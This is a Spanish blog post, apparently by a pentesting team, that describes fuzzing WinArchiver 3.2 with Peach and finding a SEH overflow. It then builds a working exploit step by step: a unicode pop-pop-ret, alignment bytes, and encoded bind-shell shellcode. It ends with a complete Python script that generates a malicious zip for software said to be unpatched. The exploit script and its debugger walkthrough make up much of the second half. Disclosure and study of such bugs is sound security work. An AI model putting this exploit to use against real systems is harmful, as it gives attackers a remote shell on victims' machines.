Realpentesting está de bug hunting !
Hemos decidido empezar desde Abril a fuzzear y explotar vulnerabilidades en software de todo tipo y hemos decidido ir compartiendo los 0days que hemos ido encontrando, los que podemos publicar por ahora estarán listados en la pestaña "advisories" y también estaránsubidos en exploit-db.
En concreto en esta entrada vamos a hablar de una de varias vulnerabilidades críticas que hemos encontrado en Winarchiver.Winarchiver es una aplicación de pago de compresión y descompresión http://www.winarchiver.com/.
Esta versión de software es bastante reciente (16 de Abril de 2013) tal y como podemos ver en su web.
Vamos a ir describiendo el proceso desde el fuzzing hasta el exploit. Para fuzzear esta aplicación hemos usado el fabuloso framework Peach.
Para quien quiera aprender a utilizar peach, aquí hay un tutorial muy bueno. http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/
Lo que hacemos es ir mutando todo tipo de headers y flags del format file de los ficheros zip.
Los templates de Peach se dividen en 5 partes:
El DataModel es donde se define la estructura de lo que vamos a fuzzear. En nuestro caso es un zip. Este modelo de datos es exactamente igual que el tutorial que anteriormente hacemos referencia.
En el state model indicamos que vamos a fuzzear este modelo de datos utilizando como fichero base el fichero test.zip que deber ser un fichero zip cualquiera correctamente formado.
<StateModel name="TheState" initialState="Initial"> <!-- En este caso se utiliza de fichero incial sobre el que fuzzear el fichero test.zip -->
<State name="Initial">
<Action type="output">
<DataModel ref="ZipFileFormat"/>
<Data name="data" fileName="C:\peachfuzz\test.zip"/>
</Action>
<Action type="close"/>
<Action type="call" method="ScoobySnacks"/>
</State>
</StateModel>
Por otro lado tenemos el agent que en nuestro caso definiremos que será local utilizando un debugger (windbg) e indicando con las siguientes líneas que lo vamos a attachear:
<Agent name="LocalAgent">
<Monitor class="debugger.WindowsDebugEngine"> <!-- En este caso attacheamos el proceso WinArchiver.exe -->
<Param name="ProcessName" value="WinArchiver.exe" />
<Param name="StartOnCall" value="ScoobySnacks"/>
</Monitor>
<Monitor class="process.PageHeap">
<Param name="Executable" value="WinArchiver.exe"/>
</Monitor>
</Agent>
Finalmente tenemos el Test y el run. El primero indica el tipo de pruebas que se va a realizar y el run es la prueba que vamos a ejecutar en el momento de fuzzearlo. En el run también se definen donde se guardarán los logs y trazas de los crashes una vez se encuentren. (en nuestro caso logtest).
<Test name="TheTest">
<Strategy class="rand.RandomMutationStrategy" switchCount="1500" maxFieldsToMutate="7"/>
<Agent ref="LocalAgent"/>
<StateModel ref="TheState"/>
<Publisher class="file.FileWriterLauncher"> <!-- En este caso se guarda como fuzzed.zip utilizando el publisher de file format -->
<Param name="fileName" value="fuzzed.zip" />
<Param name="debugger" value="true"/>
</Publisher>
</Test>
<Run name="DefaultRun"> <!-- El run indica que se realizará la prueba "TheTest" almacenando los crash en la carpeta logtest -->
<Test ref="TheTest"/>
<Logger class="logger.Filesystem">
<Param name="path" value="logtest"/>
</Logger>
</Run>
</Peach>
Adjunto puede encontrarse el template completo winarchiver.xml.
LINK
Después de ponerlo en funcionamiento nos dimos cuenta de que una vez que se obtenía un crash la “única” manera posible de obtener el fichero de zip responsable del crash era realizando el siguiente comando:
python peach.py -1 --skip {numero de prueba} template.xml.
Pero también nos dimos cuenta de que esto no funcionaba del todo bien ya que si utilizábamos una estrategia aleatoria, no conseguíamos generar los zips correspondientes de cada prueba. Por lo que estuvimos mirando el código de peach para terminar modificando 2 funcionalidades:
- Nos gustaba que apareciera el estado del seh chain en las trazas de windbg(!exchain)
- Además sería muy bueno que tuviéramos el fichero zip que ocasiona el crash dentro del propio directorio de logs , dentro de la carpeta de cada “crash”
Para conseguir que se mostrara el estado del SEH Chain realizamos el siguiente cambio:
En la línea 244 del fichero debugger.pyPara conseguir que se guardara el fichero zip que hacia crash:
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p(".load %s\\msec.dll" % p), DbgEng.DEBUG_EXECUTE_ECHO)
-->dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exchain"), DbgEng.DEBUG_EXECUTE_ECHO)
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!msec.exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)
En la línea 276 del fichero logger.py añadimos
filename = os.path.join(path, "fuzzed.zip")
shutil.copyfile("fuzzed.zip",filename)
Luego nos encontramos con varios problemas, y es que para poder fuzzearlo desde el interfaz gráfico , teníamos que utilizar algunas macros para que una vez abierto el programa, nuestra macro pulse algunos botones determinados de la aplicación para que intente descomprimir el fichero, ya que con solo abrir la aplicación con el fichero .zip no es suficiente.
AutoIt3 es una aplicación que permite de una manera sencilla realizar tareas que se repitan y además generar un fichero ejecutable. Lo que necesitábamos en este caso es que una vez que el entorno gráfico de winarchiver estuviese en pantalla, de forma automatizada nuestra macro intente extraer el fichero como si lo hiciésemos nosotros mismos con el ratón y teclado.
Estos son los pasos que realiza la macro desde un punto de vista más gráfico:
Una vez abierta la aplicación, saltará un popup de licencia, la macro pulsará en “continuar sin registrar”
Luego, para extraer el fuzzed.zip que ha abierto nuestro script vbs, tenemos que ir a “acción” y luego extraer con el ratón:
Despues debemos de darle al botón “OK” para que extraiga el fichero en la ruta que tiene ya guardada winarchiver:
Y por último pero no menos importante, si nos salta que ya existe el fichero (algo que pasará muy a menudo) hay que darle a que “Si” para que sobreescriba el fichero actual, si no hiciéramos esto, nos podríamos perder muchos crashes de la aplicación.
Al final la macro nos quedó así:
Func _WinWaitActivate($title,$text,$timeout=0) WinWait($title,$text,$timeout) If Not WinActive($title,$text) Then WinActivate($title,$text) WinWaitActive($title,$text,$timeout) EndFunc While True _WinWaitActivate("WinArchiver","Ingresar código") #esperamos a que se muestre lo del trial Send("{DOWN}{DOWN}{DOWN}{ENTER}") #hacemos click en continuar Send("{ENTER}") If(WinExists("WinArchiver(Copia sin registrar) - ")) Then #si aparece la ventana de winarchiver _WinWaitActivate("WinArchiver(Copia sin registrar) - ","") #esperamos a que sea el foco. Send("{DOWN}{UP}{ALTDOWN}a{ALTUP}{RIGHT}{RIGHT}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}") #lo mandamos a extraer If(WinExists("Extraer","Archivos &selecciona")) Then _WinWaitActivate("Extraer","Archivos &selecciona") #si aparece la ventana de extraer damos enter al OK que ya está marcado por defecto Send("{ENTER}") If(WinExists("WinArchiver","")) Then _WinWaitActivate("WinArchiver","") Send("{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{ENTER}") # Si salta la ventana de reemplazar archivo, seleccionamos “Si” y pulsamos enter. EndIf EndIf EndIf WEndComo se ha comentado anteriormente en el template .xml de peach, estamos attacheando el proceso winarchiver.exe en vez de abrirlo con el debugger, esto es por que la aplicación se comportaba de forma distinta cuando se abría directamente con el debugger y observamos como attacheandolo se comportaba de forma q pudiesemos fuzzearlo. El proceso winarchiver.exe va a ser abierto y monitorizado por un script que hemos creado de visual basic que lo que hace es mirar si esta ejecutándose y si no, lo ejecuta abriendo el fichero fuzzeado por Peach (fuzzed.zip) script.vbs:
While counter > 0 wscript.sleep 3000 Set WshShell = WScript.CreateObject ("WScript.Shell") Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process") i = 0 For Each objProcess in colProcessList if objProcess.name = "WinArchiver.exe" then i=i+1 End if Next If i=1 then Else WshShell.Run ("""C:\Archivos de Programa\WinArchiver\WinArchiver.exe ""C:\Peach2.3\fuzzed.zip""""") End If vFound = False WendUna vez tenemos nuestro entorno de fuzzing preparado lo lanzamos, ejecutando primero la macro.exe , luego el peach, que se quedará esperando para attachear el proceso de winarchiver.exe y cuando veamos que estará esperando al proceso ( tiene 10 intentos) ejecutamos rápidamente nuestro .vbs que al detectar que el proceso no está levantado lo levantará con el fuzzed.zip generado por peach y empezará todo el proceso. Al cabo de unas 24 horas fuzzeando aproximadametne, nos encontramos con un crash exploitable, uno en el que claramente se ve que se ha provocado un desbordamiento del manejador de excepciones (SEH).
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. *** wait with pending attach Symbol search path is: SRV*http://msdl.microsoft.com/download/symbolsExecutable search path is: ModLoad: 00400000 00671000 C:\Archivos de Programa\WinArchiver\WinArchiver.exe ModLoad: 7c910000 7c9c8000 C:\WINDOWS\system32\ntdll.dll id: ee4 attach name: C:\Archivos de Programa\WinArchiver\WinArchiver.exe ModLoad: 7c800000 7c903000 C:\WINDOWS\system32\kernel32.dll ModLoad: 77f40000 77fb6000 C:\WINDOWS\system32\SHLWAPI.dll ModLoad: 77da0000 77e4c000 C:\WINDOWS\system32\ADVAPI32.dll ModLoad: 77e50000 77ee3000 C:\WINDOWS\system32\RPCRT4.dll ModLoad: 77fc0000 77fd1000 C:\WINDOWS\system32\Secur32.dll ModLoad: 77ef0000 77f39000 C:\WINDOWS\system32\GDI32.dll ModLoad: 7e390000 7e421000 C:\WINDOWS\system32\USER32.dll ModLoad: 77be0000 77c38000 C:\WINDOWS\system32\msvcrt.dll ModLoad: 76b00000 76b2e000 C:\WINDOWS\system32\WINMM.dll ModLoad: 72f80000 72fa6000 C:\WINDOWS\system32\WINSPOOL.DRV ModLoad: 7e6a0000 7eec1000 C:\WINDOWS\system32\SHELL32.dll ModLoad: 773a0000 774a3000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll ModLoad: 774b0000 775ee000 C:\WINDOWS\system32\ole32.dll ModLoad: 770f0000 7717b000 C:\WINDOWS\system32\OLEAUT32.dll ModLoad: 77180000 7722b000 C:\WINDOWS\system32\WININET.dll ModLoad: 77a50000 77ae6000 C:\WINDOWS\system32\CRYPT32.dll ModLoad: 77af0000 77b02000 C:\WINDOWS\system32\MSASN1.dll ModLoad: 5b150000 5b188000 C:\WINDOWS\system32\UXTHEME.DLL ModLoad: 10000000 100b0000 C:\Archivos de programa\WinArchiver\7z.dll ModLoad: 76330000 76335000 C:\WINDOWS\system32\msimg32.dll ModLoad: 746b0000 746fc000 C:\WINDOWS\system32\MSCTF.dll ModLoad: 597f0000 59845000 C:\WINDOWS\system32\netapi32.dll ModLoad: 77b10000 77b32000 C:\WINDOWS\system32\appHelp.dll ModLoad: 76f90000 7700f000 C:\WINDOWS\system32\CLBCATQ.DLL ModLoad: 77010000 770e0000 C:\WINDOWS\system32\COMRes.dll ModLoad: 77bd0000 77bd8000 C:\WINDOWS\system32\VERSION.dll ModLoad: 7e210000 7e383000 C:\WINDOWS\system32\shdocvw.dll ModLoad: 76890000 76914000 C:\WINDOWS\system32\CRYPTUI.dll ModLoad: 76bf0000 76c1e000 C:\WINDOWS\system32\WINTRUST.dll ModLoad: 76c50000 76c78000 C:\WINDOWS\system32\IMAGEHLP.dll ModLoad: 76f20000 76f4d000 C:\WINDOWS\system32\WLDAP32.dll ModLoad: 7df20000 7dfc3000 C:\WINDOWS\system32\urlmon.dll ModLoad: 778f0000 779e7000 C:\WINDOWS\system32\SETUPAPI.dll ModLoad: 779f0000 77a45000 C:\WINDOWS\System32\cscui.dll ModLoad: 765b0000 765cd000 C:\WINDOWS\System32\CSCDLL.dll ModLoad: 03cf0000 03fc6000 C:\WINDOWS\system32\xpsp2res.dll (ee4.9e8): Access violation - code c0000005 (first chance) r eax=00000041 ebx=000017a6 ecx=043b0000 edx=7fffdf41 esi=043aed84 edi=043aed58 eip=004e64cb esp=043ae8cc ebp=043ae8d0 iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213 *** ERROR: Module load completed but symbols could not be loaded for C:\Archivos de Programa\WinArchiver\WinArchiver.exe WinArchiver+0xe64cb: 004e64cb 668901 mov word ptr [ecx],ax ds:0023:043b0000=???? -> instrucción que provoca el overflow rF fpcw=027F: rn 53 puozdi fpsw=0000: top=0 cc=0000 -------- fptw=FFFF fopcode=0492 fpip=0000:00000000 fpdp=0000:00000000 st0= 0.006573242701799395090e-0306 st1=-0.000000000000000003060e+4112 st2= 3.315545808965230580700e-4932 st3= 0.585864538478113307190e-4933 st4= 3.315545862195673984010e-4932 st5= 0.019451969634699875940e-4933 st6= 2.438156854804684311930e-4929 st7=-4.665158646486517195140e-1557 WinArchiver+0xe64cb: 004e64cb 668901 mov word ptr [ecx],ax ds:0023:043b0000=???? rX xmm0=6.16534e+037 1.73655e-039 6.18886e+037 1.73649e-039 xmm1=1.73646e-039 6.16538e+037 1.73655e-039 1.#QNAN xmm2=1.27831e-037 6.18886e+037 1.68156e-044 6.16535e+037 xmm3=0 0 1.4013e-045 2.8026e-044 xmm4=0 0 0 2.24208e-044 xmm5=7.2981e-039 1.73644e-039 1.4013e-045 0 xmm6=-1.#QNAN 6.16536e+037 6.24796e+037 1.73686e-039 xmm7=6.18886e+037 0 6.20169e+037 6.16535e+037 WinArchiver+0xe64cb: 004e64cb 668901 mov word ptr [ecx],ax ds:0023:043b0000=???? kb *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll - ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 043ae8d0 004e1929 00000041 043aed84 004e1993 WinArchiver+0xe64cb 043aed6c 004def3a 043aed84 00553eea 043afdcc WinArchiver+0xe1929 043aeda4 0047660d 043aedbc 00553ee0 043afdc4 WinArchiver+0xdef3a 043aedb4 004a2069 00780045 00720074 00790061 WinArchiver+0x7660d 043afdc4 00410041 00410041 00410041 00410041 WinArchiver+0xa2069 043afdc8 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdcc 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdd0 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdd4 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdd8 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afddc 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afde0 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afde4 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afde8 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdec 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdf0 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdf4 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdf8 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afdfc 00410041 00410041 00410041 00410041 WinArchiver+0x10041 043afe00 00410041 00410041 00410041 00410041 WinArchiver+0x10041 .load C:\Peach2.3\tools\bangexploitable\x86\msec.dll !exchain ----------------------------> Nuestro exchain que hemos añadido a peach. 043aff0c: WinArchiver+10041 (00410041) ---> Owned ! hemos sobre-escrito con "A" y en unicode el SEH Invalid exception stack at 00410041 !exploitable -m IDENTITY:HostMachine\HostUser PROCESSOR:X86 CLASS:USER QUALIFIER:USER_PROCESS EVENT:DEBUG_EVENT_EXCEPTION EXCEPTION_FAULTING_ADDRESS:0x43b0000 EXCEPTION_CODE:0xC0000005 EXCEPTION_LEVEL:FIRST_CHANCE EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION EXCEPTION_SUBTYPE:WRITE MAJOR_HASH:0x68140f13 MINOR_HASH:0x0a520157 STACK_DEPTH:64 STACK_FRAME:WinArchiver+0xe64cb STACK_FRAME:WinArchiver+0xe1929 STACK_FRAME:WinArchiver+0xdef3a STACK_FRAME:WinArchiver+0x7660d STACK_FRAME:WinArchiver+0xa2069 STACK_FRAME:WinArchiver+0x10041 STACK_FRAME:WinArchiver+0x10041 INSTRUCTION_ADDRESS:0x00000000004e64cb INVOKING_STACK_FRAME:0 DESCRIPTION:User Mode Write AV SHORT_DESCRIPTION:WriteAV CLASSIFICATION:EXPLOITABLE BUG_TITLE:Exploitable - User Mode Write AV starting at WinArchiver+0x00000000000e64cb (Hash=0x68140f13.0x0a520157) EXPLANATION:User mode write access violations that are not near NULL are exploitable.!msec.exploitable -mBien, es un claro SEH overflow (también es un stack based overflow) pero vamos a analizar con 010 binary editor que se ha fuzzeado en nuestro zip comparandolo con un zip normal. Si abrimos un fichero normal zip (test.zip) y nuestro fuzzed.zip que ocasiona el overflow, podemos compararlos y ver las diferencias:
Ahora vamos a identificar la parte que se
ha fuzzeado de este fichero zip:
Como se aprecia se en este zip se han
fuzzeado bastantes secciones aunque en concreto lo que parece que ha ocasionado la
vulnerabilidad es el fuzzeo del nombre del directorio y nombre del fichero.
Por supuesto peach lo ha fuzzeado de forma correcta de forma que el formato Zip sea correcto y no falle al abrir el fichero.
Por supuesto peach lo ha fuzzeado de forma correcta de forma que el formato Zip sea correcto y no falle al abrir el fichero.
Para quien no tenga ni idea de desarrollar exploits para unicode, de obligada lectura el siguiente enlace de corelan: https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
Lo primero que tenemos que hacer es generarnos a partir de nuestro fuzzed.zip un script en python que reproduzcla el mismo fichero, exportando a hexadecimal el fuzzed.zip con 010 binary editor nos ayudará bastante en esta tarea:
#/usr/bin/python zip_header = ( "\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4" "\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65" "\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20" "\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00" "\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00" "\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00" "\x00\x00\x00" ) zip_final=( "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00" "\x00\x35\x00\x00\x00\x00\x00" )
Hemos decidido llamar la parte que va antes del nombre del fichero como "zip_header" y la que va justo despues como "zip_final".
Continuamos:
seh = "\x31\x48" #ppr 0x00480031 # sobreescribimos SEH con un pop pop ret que se encuentra en una direccion de memoria compatible con unicode nextseh = "\x58\x70" # sobreescribimos nextseh con una instruccion que nos permita continuar con el flujo de ejecución.
A continuacion "venetian" es un conjunto de instrucciones que hemos realizado para preparar la ejecución de nuestra venetian shellcode, más adelante veremos como funciona con el debugger.
Simplemente prepara el registro EAX para que apunte al inicio de la venetian shellcode, todo ello con instrucciones compatibles con unicode:
venetian = ( "\x55\x55" "\x70" "\x58" "\x70" "\x05\x25\x11" "\x55" "\x2d\x19\x11" "\x55" "\x50" "\x55" "\xc7" )#venetian shellcode generada alpha3 con registro base EAX(./alpha2 eax --unicode --uppercase < bind_shell.raw )
shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" )A continuación, nuestro buffer , que junto a los calculos que tuvimos que ir haciendo sobre la marcha, para manipular el SEH y posicionar nuestra venetian shellcode y que con nuestros calculos de "venetian" el registro EAX apunte al inicio de la shellcode.
buffer = "\x41" * (421) + shellcode + "\x41" * (2205-421-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian)) print len(buffer) payload = buffer mefile = open('seh_winarch.zip','w') mefile.write(zip_header + buffer + zip_final) mefile.close()El exploit nos genera un zip y vamos a ver con el debugger paso a paso que es lo que hacemos.
Lo primero a tener en cuenta es que una vez abrimos con el winarchiver el zip hay que darle a boton secundario y darle a extraer, si le damos doble click la aplicación crashea de otra forma distinta.
Vamos a ir viendolo paso a paso con el debugger:
Si ponemos un breakpoint en nuestro pop pop ret (0x00480031) podemos empezar a ver el funcionamiento de nuestro exploit:
Una vez intentamos descomprimir el fichero y pasamos la primera excepción (shift+F9) entraremos en nuestro breakpoint.Si pasamos estas 3 instrucciones con F7 llegamos a las instrucciones compatibles con unicode que hemos metido en "nextseh":
nextseh = "\x58\x70"
Vemos como se ejecuta un "POP EAX" que no es dañino y luego entra nuestro \x70 que por ser transformado en unicode queda en 007000 que es la instruccion ADD [EAX],DH que tampoco es dañina.
Despues vemos las siguientes opcodes (3100 y 48), que pertenecen a los digitos de la dirección de memoria (0x00480031) que pertenece al pop pop ret y que hemos introducido en SEH y por supuesto tampoco son dañinas las instrucciones
Si lo fueran , tendriamos que utilizar otra dirección de memoria unicode cuyos caracteres no correspondan a opcodes de instrucciones que rompan el flujo de ejecución:
Ahora llega la parte de nuestro "venetian", recordemos, que esta parte tiene la instrucciones necesarias para que el registro EAX apunte exactamente al inicio de nuestra venetian shellcode:
venetian = ( "\x55\x55" "\x70" "\x58" "\x70" "\x05\x25\x11" "\x55" "\x2d\x19\x11" "\x55" "\x50" "\x55" "\xc7" )
Vemos que nuestro primer 55 es en realidad 005500 por la transformacion unicode y el siguiente 55 queda solo por lo que queda:
005500 ADD [EBP],DL **** Aqui estamos usando el 55 como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode
Y en este caso la siguiente instruccion sin 00 de unicode es un 55 , que corresponde a un PUSH EBP, el cual necesitamos para ir preparando el hecho de que EAX apunte al inicio de nuestra shellcode.
55 PUSH EBP
Continuamos:
007000 ADD [EAX],DH **** Aqui como en el caso anterior estamos usando el 70 (podriamos haber seguido usando el 55 justo como el caso anterior) como una especie de "nop" para que con la transformacion unicode no sea una instruccion dañina y sobre todo para que una vez utilizados los 00 00 de unicode podamos introducir luego la instruccion que queramos con 1 byte sin transformacion unicode.
Y en este caso la siguiente instruccion sin 00 de unicode es un 58 , que corresponde a un POP EAX, ya tenemos en EAX un direccion CERCANA al inicio de la shellcode, pero no es la direccion exacta!
58 POP EAX
Siguiente:
0070000 ADD [EAX],DH **** igual que los "pseudo nop" anteriores
0500250011 ADD EAX,11002500 Operacion de SUMA sobre EAX para que apunte al inicio de nuestra shellcode, seran necesarias una suma y una resta.
Esto lo hacemos jugando con las posibles sumas y restas que podemos hacer utilizando opcodes compatibles con unicode.
005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores
2D00190011 SUB EAX,11001900 Operacion de RESTA sobre EAX para que apunte justo al inicio de nuestra shellcode.
Ahora hay que tener una serie de datos a tener en cuenta para seguir continuando.
Llegados a este punto nos dimos cuenta que tal y como es este overflow, llegamos a la direccion de memoria máxima permitida para la pila del proceso, y si nos fijamos desde donde estamos, tenemos un tamaño de buffer muy pequeño donde no cabía la shellcode:
Si hubiesemos podido poner la venetian shellcode justo despues de las instrucciones de "venetian" simplemente hubiese sido seguir que ejecutara las instrucciones , pero como no es el caso se complica un poquito la cosa, necesitamos poder saltar a donde apunta EAX (recordemos que EAX = inicio de shellcode)
Pero solo podemos ejecutar instrucciones de un byte (por la transformacion de unicode) por lo que vamos a tener que encontrar algo que nos pueda servir.
Finalmente optamos por utilizar un PUSH EAX (50) y un RETN (C3) que son instrucciones de 1 byte y nos permite saltar a donde apunta EAX.
Pero nos encontramos otro problema ! si metemos C3 podemos ver como el C3 es transformado en "1C25" ! Badchars ?? No ! Unicode transformation !
Si nos fijamos en la tabla de Unicode de más abajo podemos ver como el caracter representado por "C3" es transformado a "1C25" , no problemo, si nos volvemos a fijar en la tabla, el "C7" se transforma en "C3" que es el que necesitamos para nuestra instruccion RETN, por lo que introducimos un C7. Tabla completa -> http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf
Por lo que las ultimas instrucciones son: 50 PUSH EAX 005500 ADD [EBP],DL **** igual que los "pseudo nop" anteriores C7 -> transformado en memoria C3 = RETN Y podemos observar justo cuando se va a ejecutar el RETN como EAX apunta al inicio de la venetian Shellcode:
Y si seguimos la ejecución (F9) Veremos como nuestra bindshell esta esperando impacientemente a que conectemos.. bang !!!
Exploit completo:
#/usr/bin/python # Real pentesting: Josep Pi , Pedro Guillen , Miguel A. de Castro # Exploit Title: Winarchiver V 3.2 SEH Overflow # Date: April 24, 2013 # Software Link: http://winarchiver.com # Affected Versions: 3.2 and previous version may also affected # There is no patch from vendor # Tested on: Windows XP SP3 zip_header = ( "\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4" "\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65" "\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20" "\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00" "\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00" "\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00" "\x00\x00\x00" ) zip_final=( "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00" "\x00\x35\x00\x00\x00\x00\x00" ) seh = "\x31\x48" #ppr 0x00480031 nextseh = "\x58\x70" venetian = ( "\x55\x55" "\x70" "\x58" "\x70" "\x05\x25\x11" "\x55" "\x2d\x19\x11" "\x55" "\x50" "\x55" "\xc7" ) shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" ) buffer = "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian)) print len(buffer) payload = buffer mefile = open('seh_winarch.zip','w') mefile.write(zip_header + buffer + zip_final) mefile.close()